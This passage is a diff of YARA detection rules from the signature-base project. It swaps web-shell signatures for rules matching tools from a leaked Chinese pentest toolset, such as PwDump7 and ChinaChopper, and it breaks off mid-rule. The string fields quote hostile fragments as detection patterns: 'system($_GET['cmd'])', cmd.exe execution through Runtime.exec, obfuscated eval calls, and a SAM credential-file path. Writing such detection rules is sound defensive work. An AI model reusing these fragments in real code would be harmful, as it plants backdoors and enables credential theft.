-		logic_hash = "9a7635d313345e7b7cb7424726ed62015afd78412b504e406155f85c4cdf623f"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L559-L575"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3f9479151c2cada04febea45c2edcf5cece1df6c"
+		logic_hash = "cc18e68f7c3eff69a75333f3b605c89b024c6763f7b97e0ce20ce14bfe28df0d"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64'"
-		$s6 = "//<img width=1 height=1 src=\"http://websafe.facaiok.com/just7z/sx.asp?u=***.***"
-		$s7 = "preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(KmU(\"" fullword
+		$s0 = "\\bin\\systemini\\MyPort.ini" wide
+		$s1 = "PortThread=200 //" fullword wide
+		$s2 = " Port Open -> " fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <375KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Winx_Shell
+rule SIGNATURE_BASE_CN_Honker_HASH_Pwdump7 : FILE
 {
 	meta:
-		description = "Web Shell - file WinX Shell.php"
+		description = "Sample from CN Honker Pentest Toolset - file PwDump7.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "d61a1ac3-7c8a-5de2-a5a8-2a043b73f3b3"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1632-L1646"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17ab5086aef89d4951fe9b7c7a561dda"
-		logic_hash = "e6dd5178cafccca751dd3f2e36206acd214a65b2e0783a738a104b3dc680ca21"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L577-L594"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "93a2d7c3a9b83371d96a575c15fe6fce6f9d50d3"
+		logic_hash = "05f735ba3f377f71ccf3a97b3597cee7b9f36213ee2ebba19db69667529d9fac"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">Filenam"
-		$s8 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">File: </"
+		$s1 = "%s\\SYSTEM32\\CONFIG\\SAM" fullword ascii
+		$s2 = "No Users key!" fullword ascii
+		$s3 = "NO PASSWORD*********************:" fullword ascii
+		$s4 = "Unable to dump file %S" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <380KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Crystal_Crystal
+rule SIGNATURE_BASE_CN_Honker_Chinachopper : FILE
 {
 	meta:
-		description = "Web Shell - file Crystal.php"
+		description = "Sample from CN Honker Pentest Toolset - file ChinaChopper.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "9f7fbaac-65b5-5162-87d1-96ccd9711adb"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1647-L1661"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fdbf54d5bf3264eb1c4bff1fac548879"
-		logic_hash = "735332a2ec7df65cca4ca69e702c5893d302a01c7ee7b84d01a1e6ab9646de93"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L596-L612"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fa347fdb23ab0b8d0560a0d20c434549d78e99b5"
+		logic_hash = "e5e6a8a17592e7c82af830153905a52f8202a65c8e2f4b09dbebb19d04e2f8d7"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "show opened ports</option></select><input type=\"hidden\" name=\"cmd_txt\" value"
-		$s6 = "\" href=\"?act=tools\"><font color=#CC0000 size=\"3\">Tools</font></a></span></f"
+		$s1 = "$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];$u" wide
+		$s3 = "SETP c:\\windows\\system32\\cmd.exe " fullword wide
+		$s4 = "Ev al (\"Exe cute(\"\"On+Error+Resume+Next:%s:Response.Write(\"\"\"\"->|\"\"\"\"" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_R57_1_4_0
+rule SIGNATURE_BASE_CN_Honker_Dedecms5_7 : FILE
 {
 	meta:
-		description = "Web Shell - file r57.1.4.0.php"
+		description = "Sample from CN Honker Pentest Toolset - file dedecms5.7.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b037862d-2821-5e96-996b-13ab241575ba"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1662-L1678"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "574f3303e131242568b0caf3de42f325"
-		logic_hash = "cb48621c572d529b8dc634e7b6360257ad4fce9664bfca7ee7c0101be42d2c24"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L614-L629"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f9cbb25883828ca266e32ff4faf62f5a9f92c5fb"
+		logic_hash = "57ff887906d3c5e7eafc900581eea7432c7a18364b0061d0e4deba0229663c65"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "@ini_set('error_log',NULL);" fullword
-		$s6 = "$pass='abcdef1234567890abcdef1234567890';" fullword
-		$s7 = "@ini_restore(\"disable_functions\");" fullword
-		$s9 = "@ini_restore(\"safe_mode_exec_dir\");" fullword
+		$s1 = "/data/admin/ver.txt" fullword ascii
+		$s2 = "SkinH_EL.dll" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <830KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Ajn
+rule SIGNATURE_BASE_CN_Honker_Alien_Ee : FILE
 {
 	meta:
-		description = "Web Shell - file ajn.asp"
+		description = "Sample from CN Honker Pentest Toolset - file ee.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "03540f82-6662-55e3-97f8-38776271f08b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1680-L1694"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aaafafc5d286f0bff827a931f6378d04"
-		logic_hash = "0a6c9a210c0337d6b984bcf6cd7f14103a0f6f5d38a26c789519c2b1629aaede"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L631-L646"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "15a7211154ee7aca29529bd5c2500e0d33d7f0b3"
+		logic_hash = "1f40f6c53e13aeb6b44c58f6e048a35cf3fd9fb956f26d70b3fe91bcac340ab5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "seal.write \"Set WshShell = CreateObject(\"\"WScript.Shell\"\")\" & vbcrlf" fullword
-		$s6 = "seal.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreateOve"
+		$s1 = "GetIIS UserName and PassWord." fullword wide
+		$s2 = "Read IIS ID For FreeHost." fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Cmd
+rule SIGNATURE_BASE_CN_Honker_Smsniff_Smsniff : FILE
 {
 	meta:
-		description = "Web Shell - file cmd.php"
+		description = "Sample from CN Honker Pentest Toolset - file smsniff.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "fef242d5-b274-5217-a5d1-1a6ec38d0fdd"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1695-L1710"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c38ae5ba61fd84f6bbbab98d89d8a346"
-		logic_hash = "d9a0802f6fd7047ba5477f6bba61c4ac02cabfce06270fdbd8e8e68a693ccf68"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L648-L663"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8667a785a8ced76d0284d225be230b5f1546f140"
+		logic_hash = "6949f992d4734f18d9caffe83f2abccca0e0decef4169954518eed078d39e561"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if($_GET['cmd']) {" fullword
-		$s1 = "// cmd.php = Command Execution" fullword
-		$s7 = "  system($_GET['cmd']);" fullword
+		$s1 = "smsniff.exe" fullword wide
+		$s5 = "SmartSniff" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <267KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_List
+rule SIGNATURE_BASE_CN_Honker_Happy_Happy : FILE
 {
 	meta:
-		description = "Web Shell - file list.asp"
+		description = "Sample from CN Honker Pentest Toolset - file Happy.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1711-L1725"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1cfa493a165eb4b43e6d4cc0f2eab575"
-		logic_hash = "9c8bdeb5992015b26fbee418ed6e6b7c6b0901f26bddf9dc26706c0b63ea9c95"
+		id = "6e6c806d-e784-507f-b327-3b9f2510422b"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L665-L683"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "92067d8dad33177b5d6c853d4d0e897f2ee846b0"
+		logic_hash = "667cd6629ca49f2200fdc0a5eb28c77c412ca25313fd9a8afb77dedfa66d2fa1"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<INPUT TYPE=\"hidden\" NAME=\"type\" value=\"<%=tipo%>\">" fullword
-		$s4 = "Response.Write(\"<h3>FILE: \" & file & \"</h3>\")" fullword
+		$s1 = "<form.*?method=\"post\"[\\s\\S]*?</form>" fullword wide
+		$s2 = "domainscan.exe" fullword wide
+		$s3 = "http://www.happysec.com/" wide
+		$s4 = "cmdshell" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <655KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Co
+rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V3_0 : FILE
 {
 	meta:
-		description = "Web Shell - file co.php"
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v3.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "7513a513-e8a3-58a8-8dd5-512ba33ff013"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1726-L1740"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "62199f5ac721a0cb9b28f465a513874c"
-		logic_hash = "3fab3e97d10b6c56fb7df8bcd520bda318fc127a620c5aafba09cb36ffd6a8df"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L685-L701"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fa47c4affbac01ba5606c4862fdb77233c1ef656"
+		logic_hash = "fa65de4a135072f4d9a5d5711a4e2833b9d4a268a2a37c33d17e4546d172b6f1"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "cGX6R9q733WvRRjISKHOp9neT7wa6ZAD8uthmVJV" fullword
-		$s11 = "6Mk36lz/HOkFfoXX87MpPhZzBQH6OaYukNg1OE1j" fullword
+		$s1 = "http://127.0.0.1/1.exe" fullword wide
+		$s2 = ":Rices  Forum:T00Ls.Net  [4 Fucker Te@m]" fullword wide
+		$s3 = "SkinH_EL.dll" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_150
+rule SIGNATURE_BASE_CN_Honker_Netfuke_Netfuke : FILE
 {
 	meta:
-		description = "Web Shell - file 150.php"
+		description = "Sample from CN Honker Pentest Toolset - file NetFuke.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "833da5c7-e562-50e9-a2a9-54c36b0d1f61"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1741-L1755"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "400c4b0bed5c90f048398e1d268ce4dc"
-		logic_hash = "139e3d6aa3cd2b6a9731a6cc14c921f9fd82ff7ca79d156f1ff6bc544897fb12"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L703-L718"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f89e223fd4f6f5a3c2a2ea225660ef0957fc07ba"
+		logic_hash = "86f6040b743b17fb300498b02a202d1a9090054a30d490f082b116d799c4bdb2"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "HJ3HjqxclkZfp"
-		$s1 = "<? eval(gzinflate(base64_decode('" fullword
+		$s1 = "Mac Flood: Flooding %dT %d p/s " fullword ascii
+		$s2 = "netfuke_%s.txt" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1840KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Cmdjsp_2
+rule SIGNATURE_BASE_CN_Honker_Manualinjection : FILE
 {
 	meta:
-		description = "Web Shell - file cmdjsp.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file ManualInjection.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "f0899003-824f-56ed-b653-9f7a77b9ec6a"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1756-L1770"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b5ae3649f03784e2a5073fa4d160c8b"
-		logic_hash = "83be82e260adcff9d3d11344c363f6b5da331339ffe78e561cea9ab09b209030"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L720-L735"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e83d427f44783088a84e9c231c6816c214434526"
+		logic_hash = "fe8eba3b79f5bc4cf820ff51816c3f2a27d6ed8f6ab3963f88a3232c9a4b5c1e"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
-		$s4 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+		$s0 = "http://127.0.0.1/cookie.asp?fuck=" fullword ascii
+		$s16 = "http://Www.cnhuker.com | http://www.0855.tv" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_C37
+rule SIGNATURE_BASE_CN_Honker_Cncert_Ccdoor_CMD : FILE
 {
 	meta:
-		description = "Web Shell - file c37.php"
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "ddd328a8-7ad8-5b26-9deb-3e5da801cd1b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1771-L1785"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d01144c04e7a46870a8dd823eb2fe5c8"
-		logic_hash = "b93394f4e05cc96c31a8adcb0981aa8b069780893c469b41ece3d3ce92c42251"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L737-L754"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1c6ed7d817fa8e6534a5fd36a94f4fc2f066c9cd"
+		logic_hash = "3c068c3d21de8c071b3eec354f03423d4902ef0156bb9dcad370cf688bc03426"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),"
-		$s9 = "++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE],"
+		$s2 = "CnCerT.CCdoor.CMD.dll" fullword wide
+		$s3 = "cmdpath" fullword ascii
+		$s4 = "Get4Bytes" fullword ascii
+		$s5 = "ExcuteCmd" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <22KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_B37
+rule SIGNATURE_BASE_CN_Honker_Termsrvhack : FILE
 {
 	meta:
-		description = "Web Shell - file b37.php"
+		description = "Sample from CN Honker Pentest Toolset - file termsrvhack.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4fd582a1-3c6d-57a1-bba0-f775bb61ef00"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1786-L1799"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0421445303cfd0ec6bc20b3846e30ff0"
-		logic_hash = "ae0cca5723a1e885c26ece5082c24f4c95f0262b8e7baf6db5efde5cfee2cc42"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L756-L771"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1c456520a7b7faf71900c71167038185f5a7d312"
+		logic_hash = "ef0b9965e2d419230a7a8425674edb356347d1e41538d19fc67f8b0fbc69091f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "xmg2/G4MZ7KpNveRaLgOJvBcqa2A8/sKWp9W93NLXpTTUgRc"
+		$s1 = "The terminal server cannot issue a client license.  It was unable to issue the" wide
+		$s6 = "%s\\%s\\%d\\%d" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1052KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Backdoor
+rule SIGNATURE_BASE_CN_Honker_IIS6_Iis6 : FILE
 {
 	meta:
-		description = "Web Shell - file php-backdoor.php"
+		description = "Sample from CN Honker Pentest Toolset - file iis6.com"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "f5d49cbd-1aec-5126-ab5d-83e485fa6869"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1800-L1814"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
-		logic_hash = "1f754b4d29eb93316183cf904b375ded7ccdae1d2196fe05950c449ed0d690f4"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L773-L790"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f0c9106d6d2eea686fd96622986b641968d0b864"
+		logic_hash = "51b2fdae6437d64661f20342711d516201740eceb2273704a6e415be2cac54f6"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))" fullword
-		$s2 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+		$s0 = "GetMod;ul" fullword ascii
+		$s1 = "excjpb" fullword ascii
+		$s2 = "LEAUT1" fullword ascii
+		$s3 = "EnumProcessModules" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Dabao
+rule SIGNATURE_BASE_CN_Honker_Struts2_Catbox : FILE
 {
 	meta:
-		description = "Web Shell - file dabao.asp"
+		description = "Sample from CN Honker Pentest Toolset - file catbox.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "24df7a11-5ec4-5e7b-86f6-6195ca01b8f9"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1815-L1829"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3919b959e3fa7e86d52c2b0a91588d5d"
-		logic_hash = "62cf46dc16a7365d196c2cb8ede8b1380a0877d134d3726d7c777096a4eda942"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L792-L807"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ee8fbd91477e056aef34fce3ade474cafa1a4304"
+		logic_hash = "20bda5c918ea38810603528a20f3406ec4e79ce999681649e8e806bf549b5359"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = " Echo \"<input type=button name=Submit onclick=\"\"document.location =&#039;\" &"
-		$s8 = " Echo \"document.Frm_Pack.FileName.value=\"\"\"\"+year+\"\"-\"\"+(month+1)+\"\"-"
+		$s6 = "'Toolmao box by gainover www.toolmao.com" fullword ascii
+		$s20 = "{external.exeScript(_toolmao_bgscript[i],'javascript',false);}}" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <8160KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_2
+rule SIGNATURE_BASE_CN_Honker_Getlsasrvaddr : FILE
 {
 	meta:
-		description = "Web Shell - file 2.php"
+		description = "Sample from CN Honker Pentest Toolset - file getlsasrvaddr.exe - WCE Amplia Security"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
